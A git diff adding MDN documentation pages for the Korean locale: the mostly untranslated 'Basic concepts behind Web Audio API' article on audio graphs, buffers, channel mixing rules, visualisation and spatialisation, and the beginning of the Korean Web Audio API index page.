+slug: Web/API/Web_Audio_API/Basic_concepts_behind_Web_Audio_API
+tags:
+ - 가이드
+ - 미디어
+ - 오디오
+ - 웹오디오API
+ - 웹오디오API이론
+ - 이론
+ - 컨셉
+translation_of: Web/API/Web_Audio_API/Basic_concepts_behind_Web_Audio_API
+---
+<div class="summary">
+<p><span class="seoSummary">Web Audio API의 기능이 어떻게 동작하는지에 대한 오디오 이론에 대해서 설명합니다. 마스터 사운드 엔지니어가 될 수 는 없지만, Web Audio API가 왜 그렇게 작동하는지에 대해 이해할 수 있는 충분한 배경 지식을 제공해서 개발중에 더 나은 결정을 내릴 수 있게합니다. </span></p>
+</div>
+
+<h2 id="Audio_graphs">Audio graphs</h2>
+
+<p>The Web Audio API involves handling audio operations inside an <strong>audio context</strong>, and has been designed to allow <strong>modular routing</strong>. Basic audio operations are performed with <strong>audio nodes</strong>, which are linked together to form an <strong>audio routing graph</strong>. Several sources — with different types of channel layout — are supported even within a single context. This modular design provides the flexibility to create complex audio functions with dynamic effects.</p>
+
+<p>Audio nodes are linked via their inputs and outputs, forming a chain that starts with one or more sources, goes through one or more nodes, then ends up at a destination. Although, you don't have to provide a destination if you, say, just want to visualize some audio data. A simple, typical workflow for web audio would look something like this:</p>
+
+<ol>
+ <li>Create audio context.</li>
+ <li>Inside the context, create sources — such as <code>&lt;audio&gt;</code>, oscillator, stream.</li>
+ <li>Create effects nodes, such as reverb, biquad filter, panner, compressor.</li>
+ <li>Choose final destination of audio, for example your system speakers.</li>
+ <li>Connect the sources up to the effects, and the effects to the destination.</li>
+</ol>
+
+<p><img alt="A simple box diagram with an outer box labeled Audio context, and three inner boxes labeled Sources, Effects and Destination. The three inner boxes have arrow between them pointing from left to right, indicating the flow of audio information." src="https://mdn.mozillademos.org/files/12237/webaudioAPI_en.svg" style="display: block; height: 143px; margin: 0px auto; width: 643px;"></p>
+
+<p>Each input or output is composed of several <strong>channels, </strong>which represent a specific audio layout. Any discrete channel structure is supported, including <em>mono</em>, <em>stereo</em>, <em>quad</em>, <em>5.1</em>, and so on.</p>
+
+<p><img alt="Show the ability of AudioNodes to connect via their inputs and outputs and the channels inside these inputs/outputs." src="https://mdn.mozillademos.org/files/14179/mdn.png" style="display: block; height: 360px; margin: 0px auto; width: 630px;"></p>
+
+<p>Audio sources can come from a variety of places:</p>
+
+<ul>
+ <li>Generated directly in JavaScript by an audio node (such as an oscillator).</li>
+ <li>Created from raw PCM data (the audio context has methods to decode supported audio formats).</li>
+ <li>Taken from HTML media elements (such as {{HTMLElement("video")}} or {{HTMLElement("audio")}}).</li>
+ <li>Taken directly from a <a href="/en-US/docs/WebRTC" title="WebRTC">WebRTC</a> {{domxref("MediaStream")}} (such as a webcam or microphone).</li>
+</ul>
+
+<h2 id="Audio_data_what's_in_a_sample">Audio data: what's in a sample</h2>
+
+<p>When an audio signal is processed, <strong>sampling</strong> means the conversion of a <a href="https://en.wikipedia.org/wiki/Continuous_signal" title="Continuous signal">continuous signal</a> to a <a class="mw-redirect" href="https://en.wikipedia.org/wiki/Discrete_signal" title="Discrete signal">discrete signal</a>; or put another way, a continuous sound wave, such as a band playing live, is converted to a sequence of samples (a discrete-time signal) that allow a computer to handle the audio in distinct blocks.</p>
+
+<p>A lot more information can be found on the Wikipedia page <a href="https://en.wikipedia.org/wiki/Sampling_%28signal_processing%29">Sampling (signal processing)</a>.</p>
+
+<h2 id="Audio_buffers_frames_samples_and_channels">Audio buffers: frames, samples and channels</h2>
+
+<p>An {{ domxref("AudioBuffer") }} takes as its parameters a number of channels (1 for mono, 2 for stereo, etc), a length, meaning the number of sample frames inside the buffer, and a sample rate, which is the number of sample frames played per second.</p>
+
+<p>A sample is a single float32 value that represents the value of the audio stream at each specific point in time, in a specific channel (left or right, if in the case of stereo). A frame, or sample frame, is the set of all values for all channels that will play at a specific point in time: all the samples of all the channels that play at the same time (two for a stereo sound, six for 5.1, etc.)</p>
+
+<p>The sample rate is the number of those samples (or frames, since all samples of a frame play at the same time) that will play in one second, measured in Hz. The higher the sample rate, the better the sound quality.</p>
+
+<p>Let's look at a Mono and a Stereo audio buffer, each is one second long, and playing at 44100Hz:</p>
+
+<ul>
+ <li>The Mono buffer will have 44100 samples, and 44100 frames. The <code>length</code> property will be 44100.</li>
+ <li>The Stereo buffer will have 88200 samples, but still 44100 frames. The <code>length</code> property will still be 44100 since it's equal to the number of frames.</li>
+</ul>
+
+<p><img alt="A diagram showing several frames in an audio buffer in a long line, each one containing two samples, as the buffer has two channels, it is stereo." src="https://mdn.mozillademos.org/files/14801/sampleframe-english.png" style="height: 150px; width: 853px;"></p>
+
+<p>When a buffer plays, you will hear the left most sample frame, and then the one right next to it, etc. In the case of stereo, you will hear both channels at the same time. Sample frames are very useful, because they are independent of the number of channels, and represent time, in a useful way for doing precise audio manipulation.</p>
+
+<div class="note">
+<p><strong>Note</strong>: To get a time in seconds from a frame count, simply divide the number of frames by the sample rate. To get a number of frames from a number of samples, simply divide by the channel count.</p>
+</div>
+
+<p>Here's a couple of simple trivial examples:</p>
+
+<pre class="brush: js">var context = new AudioContext();
+var buffer = context.createBuffer(2, 22050, 44100);</pre>
+
+<div class="note">
+<p><strong>Note</strong>: In <a href="https://en.wikipedia.org/wiki/Digital_audio" title="Digital audio">digital audio</a>, <strong>44,100 <a href="https://en.wikipedia.org/wiki/Hertz" title="Hertz">Hz</a></strong> (alternately represented as <strong>44.1 kHz</strong>) is a common <a href="https://en.wikipedia.org/wiki/Sampling_frequency" title="Sampling frequency">sampling frequency</a>. Why 44.1kHz? <br>
+ <br>
+ Firstly, because the <a href="https://en.wikipedia.org/wiki/Hearing_range" title="Hearing range">hearing range</a> of human ears is roughly 20 Hz to 20,000 Hz. Via the <a href="https://en.wikipedia.org/wiki/Nyquist%E2%80%93Shannon_sampling_theorem" title="Nyquist–Shannon sampling theorem">Nyquist–Shannon sampling theorem</a>, the sampling frequency must be greater than twice the maximum frequency one wishes to reproduce. Therefore, the sampling rate has to be greater than 40 kHz.<br>
+ <br>
+ Secondly, signals must be <a href="https://en.wikipedia.org/wiki/Low-pass_filter" title="Low-pass filter">low-pass filtered</a> before sampling, otherwise <a href="https://en.wikipedia.org/wiki/Aliasing" title="Aliasing">aliasing</a> occurs. While an ideal low-pass filter would perfectly pass frequencies below 20 kHz (without attenuating them) and perfectly cut off frequencies above 20 kHz, in practice a <a href="https://en.wikipedia.org/wiki/Transition_band" title="Transition band">transition band</a> is necessary, where frequencies are partly attenuated. The wider this transition band is, the easier and more economical it is to make an <a href="https://en.wikipedia.org/wiki/Anti-aliasing_filter" title="Anti-aliasing filter">anti-aliasing filter</a>. The 44.1 kHz sampling frequency allows for a 2.05 kHz transition band.</p>
+</div>
+
+<p>If you use this call above, you will get a stereo buffer with two channels, that when played back on an AudioContext running at 44100Hz (very common, most normal sound cards run at this rate), will last for 0.5 seconds: 22050 frames/44100Hz = 0.5 seconds.</p>
+
+<pre class="brush: js">var context = new AudioContext();
+var buffer = context.createBuffer(1, 22050, 22050);</pre>
+
+<p>If you use this call, you will get a mono buffer with just one channel), that when played back on an AudioContext running at 44100Hz, will be automatically <em>resampled</em> to 44100Hz (and therefore yield 44100 frames), and last for 1.0 second: 44100 frames/44100Hz = 1 second.</p>
+
+<div class="note">
+<p><strong>Note</strong>: audio resampling is very similar to image resizing. Say you've got a 16 x 16 image, but you want it to fill a 32x32 area. You resize (or resample) it. The result has less quality (it can be blurry or edgy, depending on the resizing algorithm), but it works, with the resized image taking up less space. Resampled audio is exactly the same: you save space, but in practice you will be unable to properly reproduce high frequency content, or treble sound.</p>
+</div>
+
+<h3 id="Planar_versus_interleaved_buffers">Planar versus interleaved buffers</h3>
+
+<p>The Web Audio API uses a planar buffer format. The left and right channels are stored like this:</p>
+
+<pre>LLLLLLLLLLLLLLLLRRRRRRRRRRRRRRRR (for a buffer of 16 frames)</pre>
+
+<p>This is very common in audio processing: it makes it easy to process each channel independently.</p>
+
+<p>The alternative is to use an interleaved buffer format:</p>
+
+<pre>LRLRLRLRLRLRLRLRLRLRLRLRLRLRLRLR (for a buffer of 16 frames)</pre>
+
+<p>This format is very common for storing and playing back audio without much processing, for example a decoded MP3 stream.<br>
+ <br>
+ The Web Audio API exposes <strong>only</strong> planar buffers, because it's made for processing. It works with planar, but converts the audio to interleaved when it is sent to the sound card for playback. Conversely, when an MP3 is decoded, it starts off in interleaved format, but is converted to planar for processing.</p>
+
+<h2 id="Audio_channels">Audio channels</h2>
+
+<p>Different audio buffers contain different numbers of channels: from the more basic mono (only one channel) and stereo (left and right channels), to more complex sets like quad and 5.1, which have different sound samples contained in each channel, leading to a richer sound experience. The channels are usually represented by standard abbreviations detailed in the table below:</p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <td><em>Mono</em></td>
+ <td><code>0: M: mono</code></td>
+ </tr>
+ <tr>
+ <td><em>Stereo</em></td>
+ <td><code>0: L: left<br>
+ 1: R: right</code></td>
+ </tr>
+ <tr>
+ <td><em>Quad</em></td>
+ <td><code>0: L: left<br>
+ 1: R: right<br>
+ 2: SL: surround left<br>
+ 3: SR: surround right</code></td>
+ </tr>
+ <tr>
+ <td><em>5.1</em></td>
+ <td><code>0: L: left<br>
+ 1: R: right<br>
+ 2: C: center<br>
+ 3: LFE: subwoofer<br>
+ 4: SL: surround left<br>
+ 5: SR: surround right</code></td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="Up-mixing_and_down-mixing">Up-mixing and down-mixing</h3>
+
+<p>When the number of channels doesn't match between an input and an output, up- or down-mixing happens according the following rules. This can be somewhat controlled by setting the {{domxref("AudioNode.channelInterpretation")}} property to <code>speakers</code> or <code>discrete</code>:</p>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="row">Interpretation</th>
+ <th scope="col">Input channels</th>
+ <th scope="col">Output channels</th>
+ <th scope="col">Mixing rules</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <th colspan="1" rowspan="13" scope="row"><code>speakers</code></th>
+ <td><code>1</code> <em>(Mono)</em></td>
+ <td><code>2</code> <em>(Stereo)</em></td>
+ <td><em>Up-mix from mono to stereo</em>.<br>
+ The <code>M</code> input channel is used for both output channels (<code>L</code> and <code>R</code>).<br>
+ <code>output.L = input.M<br>
+ output.R = input.M</code></td>
+ </tr>
+ <tr>
+ <td><code>1</code> <em>(Mono)</em></td>
+ <td><code>4</code> <em>(Quad)</em></td>
+ <td><em>Up-mix from mono to quad.</em><br>
+ The <code>M</code> input channel is used for non-surround output channels (<code>L</code> and <code>R</code>). Surround output channels (<code>SL</code> and <code>SR</code>) are silent.<br>
+ <code>output.L = input.M<br>
+ output.R = input.M<br>
+ output.SL = 0<br>
+ output.SR = 0</code></td>
+ </tr>
+ <tr>
+ <td><code>1</code> <em>(Mono)</em></td>
+ <td><code>6</code> <em>(5.1)</em></td>
+ <td><em>Up-mix from mono to 5.1.</em><br>
+ The <code>M</code> input channel is used for the center output channel (<code>C</code>). All the others (<code>L</code>, <code>R</code>, <code>LFE</code>, <code>SL</code>, and <code>SR</code>) are silent.<br>
+ <code>output.L = 0<br>
+ output.R = 0</code><br>
+ <code>output.C = input.M<br>
+ output.LFE = 0<br>
+ output.SL = 0<br>
+ output.SR = 0</code></td>
+ </tr>
+ <tr>
+ <td><code>2</code> <em>(Stereo)</em></td>
+ <td><code>1</code> <em>(Mono)</em></td>
+ <td><em>Down-mix from stereo to mono</em>.<br>
+ Both input channels (<code>L</code> and <code>R</code>) are equally combined to produce the unique output channel (<code>M</code>).<br>
+ <code>output.M = 0.5 * (input.L + input.R)</code></td>
+ </tr>
+ <tr>
+ <td><code>2</code> <em>(Stereo)</em></td>
+ <td><code>4</code> <em>(Quad)</em></td>
+ <td><em>Up-mix from stereo to quad.</em><br>
+ The <code>L</code> and <code>R </code>input channels are used for their non-surround respective output channels (<code>L</code> and <code>R</code>). Surround output channels (<code>SL</code> and <code>SR</code>) are silent.<br>
+ <code>output.L = input.L<br>
+ output.R = input.R<br>
+ output.SL = 0<br>
+ output.SR = 0</code></td>
+ </tr>
+ <tr>
+ <td><code>2</code> <em>(Stereo)</em></td>
+ <td><code>6</code> <em>(5.1)</em></td>
+ <td><em>Up-mix from stereo to 5.1.</em><br>
+ The <code>L</code> and <code>R </code>input channels are used for their non-surround respective output channels (<code>L</code> and <code>R</code>). Surround output channels (<code>SL</code> and <code>SR</code>), as well as the center (<code>C</code>) and subwoofer (<code>LFE</code>) channels, are left silent.<br>
+ <code>output.L = input.L<br>
+ output.R = input.R<br>
+ output.C = 0<br>
+ output.LFE = 0<br>
+ output.SL = 0<br>
+ output.SR = 0</code></td>
+ </tr>
+ <tr>
+ <td><code>4</code> <em>(Quad)</em></td>
+ <td><code>1</code> <em>(Mono)</em></td>
+ <td><em>Down-mix from quad to mono</em>.<br>
+ All four input channels (<code>L</code>, <code>R</code>, <code>SL</code>, and <code>SR</code>) are equally combined to produce the unique output channel (<code>M</code>).<br>
+ <code>output.M = 0.25 * (input.L + input.R + </code><code>input.SL + input.SR</code><code>)</code></td>
+ </tr>
+ <tr>
+ <td><code>4</code> <em>(Quad)</em></td>
+ <td><code>2</code> <em>(Stereo)</em></td>
+ <td><em>Down-mix from quad to stereo</em>.<br>
+ Both left input channels (<code>L</code> and <code>SL</code>) are equally combined to produce the unique left output channel (<code>L</code>). And similarly, both right input channels (<code>R</code> and <code>SR</code>) are equally combined to produce the unique right output channel (<code>R</code>).<br>
+ <code>output.L = 0.5 * (input.L + input.SL</code><code>)</code><br>
+ <code>output.R = 0.5 * (input.R + input.SR</code><code>)</code></td>
+ </tr>
+ <tr>
+ <td><code>4</code> <em>(Quad)</em></td>
+ <td><code>6</code> <em>(5.1)</em></td>
+ <td><em>Up-mix from quad to 5.1.</em><br>
+ The <code>L</code>, <code>R</code>, <code>SL</code>, and <code>SR</code> input channels are used for their respective output channels (<code>L</code> and <code>R</code>). Center (<code>C</code>) and subwoofer (<code>LFE</code>) channels are left silent.<br>
+ <code>output.L = input.L<br>
+ output.R = input.R<br>
+ output.C = 0<br>
+ output.LFE = 0<br>
+ output.SL = input.SL<br>
+ output.SR = input.SR</code></td>
+ </tr>
+ <tr>
+ <td><code>6</code> <em>(5.1)</em></td>
+ <td><code>1</code> <em>(Mono)</em></td>
+ <td><em>Down-mix from 5.1 to mono.</em><br>
+ The left (<code>L</code> and <code>SL</code>), right (<code>R</code> and <code>SR</code>) and central channels are all mixed together. The surround channels are slightly attenuated and the regular lateral channels are power-compensated to make them count as a single channel by multiplying by <code>√2/2</code>. The subwoofer (<code>LFE</code>) channel is lost.<br>
+ <code>output.M = 0.7071 * (input.L + input.R) + input.C + 0.5 * (input.SL + input.SR)</code></td>
+ </tr>
+ <tr>
+ <td><code>6</code> <em>(5.1)</em></td>
+ <td><code>2</code> <em>(Stereo)</em></td>
+ <td><em>Down-mix from 5.1 to stereo.</em><br>
+ The central channel (<code>C</code>) is summed with each lateral surround channel (<code>SL</code> or <code>SR</code>) and mixed to each lateral channel. As it is mixed down to two channels, it is mixed at a lower power: in each case it is multiplied by <code>√2/2</code>. The subwoofer (<code>LFE</code>) channel is lost.<br>
+ <code>output.L = input.L + 0.7071 * (input.C + input.SL)<br>
+ output.R = input.R </code><code>+ 0.7071 * (input.C + input.SR)</code></td>
+ </tr>
+ <tr>
+ <td><code>6</code> <em>(5.1)</em></td>
+ <td><code>4</code> <em>(Quad)</em></td>
+ <td><em>Down-mix from 5.1 to quad.</em><br>
+ The central (<code>C</code>) is mixed with the lateral non-surround channels (<code>L</code> and <code>R</code>). As it is mixed down to two channels, it is mixed at a lower power: in each case it is multiplied by <code>√2/2</code>. The surround channels are passed unchanged. The subwoofer (<code>LFE</code>) channel is lost.<br>
+ <code>output.L = input.L + 0.7071 * input.C<br>
+ output.R = input.R + 0.7071 * input.C<br>
+ <code>output.SL = input.SL<br>
+ output.SR = input.SR</code></code></td>
+ </tr>
+ <tr>
+ <td colspan="2" rowspan="1">Other, non-standard layouts</td>
+ <td>Non-standard channel layouts are handled as if <code>channelInterpretation</code> is set to <code>discrete</code>.<br>
+ The specification explicitly allows the future definition of new speaker layouts. This fallback is therefore not future proof as the behavior of the browsers for a specific number of channels may change in the future.</td>
+ </tr>
+ <tr>
+ <th colspan="1" rowspan="2" scope="row"><code>discrete</code></th>
+ <td rowspan="1">any (<code>x</code>)</td>
+ <td rowspan="1">any (<code>y</code>) where <code>x&lt;y</code></td>
+ <td><em>Up-mix discrete channels.</em><br>
+ Fill each output channel with its input counterpart, that is the input channel with the same index. Channels with no corresponding input channels are left silent.</td>
+ </tr>
+ <tr>
+ <td rowspan="1">any (<code>x</code>)</td>
+ <td rowspan="1">any (<code>y</code>) where <code>x&gt;y</code></td>
+ <td><em>Down-mix discrete channels.</em><br>
+ Fill each output channel with its input counterpart, that is the input channel with the same index. Input channels with no corresponding output channels are dropped.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Visualizations">Visualizations</h2>
+
+<p>In general, audio visualizations are achieved by accessing an ouput of audio data over time, usually gain or frequency data, and then using a graphical technology to turn that into a visual output, such as a graph. The Web Audio API has an {{domxref("AnalyserNode")}} available that doesn't alter the audio signal passing through it. Instead it outputs audio data that can be passed to a visualization technology such as {{htmlelement("canvas")}}.</p>
+
+<p><img alt="Without modifying the audio stream, the node allows to get the frequency and time-domain data associated to it, using a FFT." src="https://mdn.mozillademos.org/files/12521/fttaudiodata_en.svg" style="height: 206px; width: 693px;"></p>
+
+<p>You can grab data using the following methods:</p>
+
+<dl>
+ <dt>{{domxref("AnalyserNode.getFloatFrequencyData()")}}</dt>
+ <dd>Copies the current frequency data into a {{domxref("Float32Array")}} array passed into it.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("AnalyserNode.getByteFrequencyData()")}}</dt>
+ <dd>Copies the current frequency data into a {{domxref("Uint8Array")}} (unsigned byte array) passed into it.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("AnalyserNode.getFloatTimeDomainData()")}}</dt>
+ <dd>Copies the current waveform, or time-domain, data into a {{domxref("Float32Array")}} array passed into it.</dd>
+ <dt>{{domxref("AnalyserNode.getByteTimeDomainData()")}}</dt>
+ <dd>Copies the current waveform, or time-domain, data into a {{domxref("Uint8Array")}} (unsigned byte array) passed into it.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note</strong>: For more information, see our <a href="/en-US/docs/Web/API/Web_Audio_API/Visualizations_with_Web_Audio_API">Visualizations with Web Audio API</a> article.</p>
+</div>
+
+<h2 id="Spatialisations">Spatialisations</h2>
+
+<div>
+<p>An audio spatialisation (handled by the {{domxref("PannerNode")}} and {{domxref("AudioListener")}} nodes in the Web Audio API) allows us to model the position and behavior of an audio signal at a certain point in space, and the listener hearing that audio.</p>
+
+<p>The panner's position is described with right-hand Cartesian coordinates; its movement using a velocity vector, necessary for creating Doppler effects, and its directionality using a directionality cone.The cone can be very large, e.g. for omnidirectional sources.</p>
+</div>
+
+<p><img alt="The PannerNode brings a spatial position and velocity and a directionality for a given signal." src="https://mdn.mozillademos.org/files/12511/pannernode_en.svg" style="height: 340px; width: 799px;"></p>
+
+<div>
+<p>The listener's position is described using right-hand Cartesian coordinates; its movement using a velocity vector and the direction the listener's head is pointing using two direction vectors: up and front. These respectively define the direction of the top of the listener's head, and the direction the listener's nose is pointing, and are at right angles to one another.</p>
+</div>
+
+<p><img alt="The PannerNode brings a spatial position and velocity and a directionality for a given signal." src="https://mdn.mozillademos.org/files/12513/listener.svg" style="height: 249px; width: 720px;"></p>
+
+<div class="note">
+<p><strong>Note</strong>: For more information, see our <a href="/en-US/docs/Web/API/Web_Audio_API/Web_audio_spatialization_basics">Web audio spatialization basics</a> article.</p>
+</div>
+
+<h2 id="Fan-in_and_Fan-out">Fan-in and Fan-out</h2>
+
+<p>In audio terms, <strong>fan-in</strong> describes the process by which a {{domxref("ChannelMergerNode")}} takes a series of mono input sources and outputs a single multi-channel signal:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/12517/fanin.svg" style="height: 258px; width: 325px;"></p>
+
+<p><strong>Fan-out</strong> describes the opposite process, whereby a {{domxref("ChannelSplitterNode")}} takes a multi-channel input source and outputs multiple mono output signals:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/12515/fanout.svg" style="height: 258px; width: 325px;"></p>
diff --git a/files/ko/web/api/web_audio_api/index.html b/files/ko/web/api/web_audio_api/index.html
new file mode 100644
index 0000000000..714ccdb2af
--- /dev/null
+++ b/files/ko/web/api/web_audio_api/index.html
@@ -0,0 +1,523 @@
+---
+title: Web Audio API
+slug: Web/API/Web_Audio_API
+translation_of: Web/API/Web_Audio_API
+---
+<div>
+<p>Web Audio API는 웹에서 오디오를 제어하기 위한 강력하고 다양한 기능을 제공합니다. Web Audio API를 이용하면 오디오 소스를 선택할 수 있도록 하거나, 오디오에 이펙트를 추가하거나, 오디오를 시각화하거나, 패닝과 같은 공간 이펙트를 적용시키는 등의 작업이 가능합니다.</p>
+</div>
+
+<h2 id="Web_audio의_개념과_사용법">Web audio의 개념과 사용법</h2>
+
+<p>Web Audio API는 <strong>오디오 컨텍스트</strong> 내부의 오디오 조작을 핸들링하는 것을 포함하며, <strong>모듈러 라우팅</strong>을 허용하도록 설계되어 있습니다. 기본적인 오디오 연산은 <strong>오디오 노드</strong>를 통해 수행되며, <strong>오디오 노드</strong>는 서로 연결되어 <strong>오디오 라우팅 그래프</strong>를 형성합니다. 서로 다른 타입의 채널 레이아웃을 포함한 다수의 오디오 소스는 단일 컨텍스트 내에서도 지원됩니다. 이 모듈식 설계는 역동적이고 복합적인 오디오 기능 생성을 위한 유연성을 제공합니다.</p>
+
+<p>오디오 노드는 각각의 입력과 출력을 통해 체인과 간단한 망으로 연결됩니다. 이들은 일반적으로 하나 이상의 소스로 시작합니다. 소스들은 초당 수만 개 가량의 아주 작은 시간 단위의 음향 인텐시티(샘플) 배열로 제공됩니다. 소스는 {{domxref("OscillatorNode")}}와 같이 수학적으로 계산된 것이거나, {{domxref("AudioBufferSourceNode")}} 또는 {{domxref("MediaElementAudioSourceNode")}}와 같은 사운드/비디오 파일, 마지막으로 {{domxref("MediaStreamAudioSourceNode")}}와 같은 오디오 스트림일 수 있습니다. 사실, 사운드 파일은 마이크나 전자기기로 생성된 음향 인텐시티가 녹음된 것에 불과하며, 하나의 복합적인 파동으로 믹싱됩니다.</p>
+
+<p>오디오 노드의 출력은 다른 노드의 입력 단자와 연결될 수 있습니다. 이 입력은 노드의 사운드 샘플 스트림을 다른 스트림으로 믹스하거나 변경합니다. 일반적인 변경은 {{domxref("GainNode")}}와 같이 샘플에 소리를 더 키우거나 줄이는 값을 곱하는 것입니다. 사운드가 의도된 이펙트를 위해 충분히 처리되면, 이를 {{domxref("AudioContext.destination")}}의 입력에 연결해 사운드를 스피커와 헤드폰으로 출력합니다. 이 연결은 사용자가 오디오를 듣도록 하기 위한 용도로만 필요합니다.</p>
+
+<p>웹 오디오의 간단하고 일반적인 작업 흐름은 다음과 같습니다 :</p>
+
+<ol>
+ <li>오디오 컨텍스트를 생성합니다.</li>
+ <li>컨텍스트 내에 소스를 생성합니다.(ex - &lt;audio&gt;, 발진기, 스트림)</li>
+ <li>이펙트 노드를 생성합니다. (ex - 잔향 효과,  바이쿼드 필터, 패너, 컴프레서 등)</li>
+ <li>오디오의 최종 목적지를 선택합니다. (ex - 시스템 스피커)</li>
+ <li>사운드를 이펙트에 연결하고, 이펙트를 목적지에 연결합니다.</li>
+</ol>
+
+<p><img alt="A simple box diagram with an outer box labeled Audio context, and three inner boxes labeled Sources, Effects and Destination. The three inner boxes have arrow between them pointing from left to right, indicating the flow of audio information." src="https://mdn.mozillademos.org/files/12241/webaudioAPI_en.svg" style="display: block; height: 143px; margin: 0px auto; width: 643px;"></p>
+
+<p>높은 정확도와 적은 지연시간을 가진 타이밍 계산 덕분에, 개발자는 높은 샘플 레이트에서도 특정 샘플을 대상으로 이벤트에 정확하게 응답하는 코드를 작성할 수 있습니다. 따라서 드럼 머신이나 시퀀서 등의 어플리케이션은 충분히 구현 가능합니다.</p>
+
+<p>Web Audio API는 오디오가 어떻게 <em>공간화</em>될지 컨트롤할 수 있도록 합니다. <em>소스-리스너 모델</em>을 기반으로 하는 시스템을 사용하면 <em>패닝 모델</em>과 <em>거리-유도 감쇄</em> 혹은 움직이는 소스(혹은 움직이는 청자)를 통해 유발된 <em>도플러 시프트</em> 컨트롤이 가능합니다.</p>
+
+<div class="note">
+<p><a href="/en-US/docs/Web/API/Web_Audio_API/Basic_concepts_behind_Web_Audio_API">Basic concepts behind Web Audio API</a> 아티클에서 Web Audio API 이론에 대한 더 자세한 내용을 읽을 수 있습니다.</p>
+</div>
+
+<h2 id="Web_Audio_API_타겟_사용자층">Web Audio API 타겟 사용자층</h2>
+
+<p>오디오나 음악 용어에 익숙하지 않은 사람은 Web Audio API가 막막하게 느껴질 수 있습니다. 또한 Web Audio API가 굉장히 다양한 기능을 제공하는 만큼 개발자로서는 시작하기 어렵게 느껴질 수 있습니다.</p>
+
+<p>Web Audio API는 <a href="https://www.futurelibrary.no/">futurelibrary.no</a>에서와 같이 배경 음악을 깔거나, <a href="https://css-tricks.com/form-validation-web-audio/">작성된 폼에 대한 피드백을 제공</a>하는 등, 웹사이트에 간단한 오디오 기능을 제공하는 데에 사용될 수 있습니다. 그리고 물론 상호작용 가능한 상급자용 악기 기능을 만드는 데에도 사용할 수 있습니다. 따라서 Web Audio API는 개발자와 뮤지션 모두가 사용 가능합니다.</p>
+
+<p>프로그래밍에는 익숙하지만 각종 용어나 API의 구조에 대해 공부하고 싶으신 분들을 위한 <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">간단한 튜토리얼</a>이 준비되어 있습니다.</p>
+
+<p><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Web_Audio_API/Basic_concepts_behind_Web_Audio_API">Web Audio API의 원리</a>에는 API 내에서 디지털 오디오가 어떻게 동작하는지 나와 있습니다. 해당 문서에는 API가 어떤 원리를 이용해 작성되었는지에 대한 설명도 잘 되어 있습니다.</p>
+
+<p>코드를 작성하는 것은 카드 게임과 비슷합니다. 규칙을 배우고, 플레이합니다. 모르겠는 규칙은 다시 공부하고, 다시 새로운 판을 합니다. 마찬가지로, 이 문서와 첫 튜토리얼에서 설명하는 것만으로 부족하다고 느끼신다면 첫 튜토리얼의 내용을 보충하는 동시에 여러 테크닉을 이용하여 스텝 시퀀서를 만드는 법을 설명하는 <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Web_Audio_API/Advanced_techniques">상급자용 튜토리얼</a>을 읽어보시는 것을 추천합니다.</p>
+
+<p>그 외에도 이 페이지의 사이드바에서 API의 모든 기능을 설명하는 참고자료와 다양한 튜토리얼을 찾아 보실 수 있습니다.</p>
+
+<p>만약에 프로그래밍보다는 음악이 친숙하고, 음악 이론에 익숙하며, 악기를 만들고 싶으시다면 바로 상급자용 튜토리얼부터 시작하여 여러가지를 만들기 시작하시면 됩니다. 위의 튜토리얼은 음표를 배치하는 법, 저주파 발진기 등 맞춤형 Oscillator(발진기)와 Envelope를 설계하는 법 등을 설명하고 있으니, 이를 읽으며 사이드바의 자료를 참고하시면 될 것입니다.</p>
+
+<p>프로그래밍에 전혀 익숙하지 않으시다면 자바스크립트 기초 튜토리얼을 먼저 읽고 이 문서를 다시 읽으시는 게 나을 수도 있습니다. 모질라의 <a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/JavaScript">자바스크립트 기초</a>만큼 좋은 자료도 몇 없죠.</p>
+
+<h2 id="Web_Audio_API_Interfaces">Web Audio API Interfaces</h2>
+
+<p>Web Audio API는 다양한 인터페이스와 연관 이벤트를 가지고 있으며, 이는 9가지의 기능적 범주로 나뉩니다.</p>
+
+<h3 id="일반_오디오_그래프_정의">일반 오디오 그래프 정의</h3>
+
+<p>Web Audio API 사용범위 내에서 오디오 그래프를 형성하는 일반적인 컨테이너와 정의입니다.</p>
+
+<dl>
+ <dt>{{domxref("AudioContext")}}</dt>
+ <dd><strong><code>AudioContext</code></strong> 인터페이스는 오디오 모듈이 서로 연결되어 구성된 오디오 프로세싱 그래프를 표현하며, 각각의 그래프는 {{domxref("AudioNode")}}로 표현됩니다. <code>AudioContext</code>는 자신이 가지고 있는 노드의 생성과 오디오 프로세싱 혹은 디코딩의 실행을 제어합니다. 어떤 작업이든 시작하기 전에 <code>AudioContext</code>를 생성해야 합니다. 모든 작업은 컨텍스트 내에서 이루어집니다.</dd>
+ <dt>{{domxref("AudioNode")}}</dt>
+ <dd><strong><code>AudioNode</code></strong><strong> </strong>인터페이스는 오디오 소스({{HTMLElement("audio")}}나 {{HTMLElement("video")}}엘리먼트), 오디오 목적지, 중간 처리 모듈({{domxref("BiquadFilterNode")}}이나 {{domxref("GainNode")}})과 같은 오디오 처리 모듈을 나타냅니다.</dd>
+ <dt>{{domxref("AudioParam")}}</dt>
+ <dd><strong><code>AudioParam</code></strong> 인터페이스는 {{domxref("AudioNode")}}중 하나와 같은 오디오 관련 파라미터를 나타냅니다. 이는 특정 값 또는 값 변경으로 세팅되거나, 특정 시간에 발생하고 특정 패턴을 따르도록 스케쥴링할 수 있습니다.</dd>
+ <dt>The {{event("ended")}} event</dt>
+ <dd>
+ <p><strong><code>ended</code></strong> 이벤트는 미디어의 끝에 도달하여 재생이 정지되면 호출됩니다.</p>
+ </dd>
+</dl>
+
+<h3 id="오디오_소스_정의하기">오디오 소스 정의하기</h3>
+
+<p>Web Audio API에서 사용하기 위한 오디오 소스를 정의하는 인터페이스입니다.</p>
+
+<dl>
+ <dt>{{domxref("OscillatorNode")}}</dt>
